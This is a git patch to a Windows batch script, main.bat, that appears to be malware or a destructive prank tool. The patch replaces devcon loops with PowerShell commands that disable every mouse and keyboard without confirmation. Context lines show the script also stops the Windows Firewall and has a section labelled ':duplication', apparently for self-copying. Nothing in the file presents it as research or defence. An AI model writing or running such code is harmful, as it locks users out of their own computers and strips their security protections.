From d978edc76aed40e91763b6fc02ea0fb7bec48e28 Mon Sep 17 00:00:00 2001 From: INeedHelp Date: Sat, 25 Mar 2023 10:01:14 +0100 Subject: [PATCH] v0.0.0.28 --- main.bat | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/main.bat b/main.bat index aa1eeaf..d4b613a 100644 --- a/main.bat +++ b/main.bat @@ -21,16 +21,8 @@ net stop "Windows Firewall" :disablekeyboardandmouse -setlocal enabledelayedexpansion -for /f "tokens=2 delims=," %%a in ('wmic path Win32_PointingDevice get Description^,DeviceID /format:csv ^| find "Mouse"') do ( - set device=%%a - devcon disable "!device!"* -) - -for /f "tokens=2 delims=," %%b in ('wmic path Win32_Keyboard get Description^,DeviceID /format:csv ^| find "Keyboard"') do ( - set device=%%b - devcon disable "!device!"* -) +PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false" +PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false" :duplication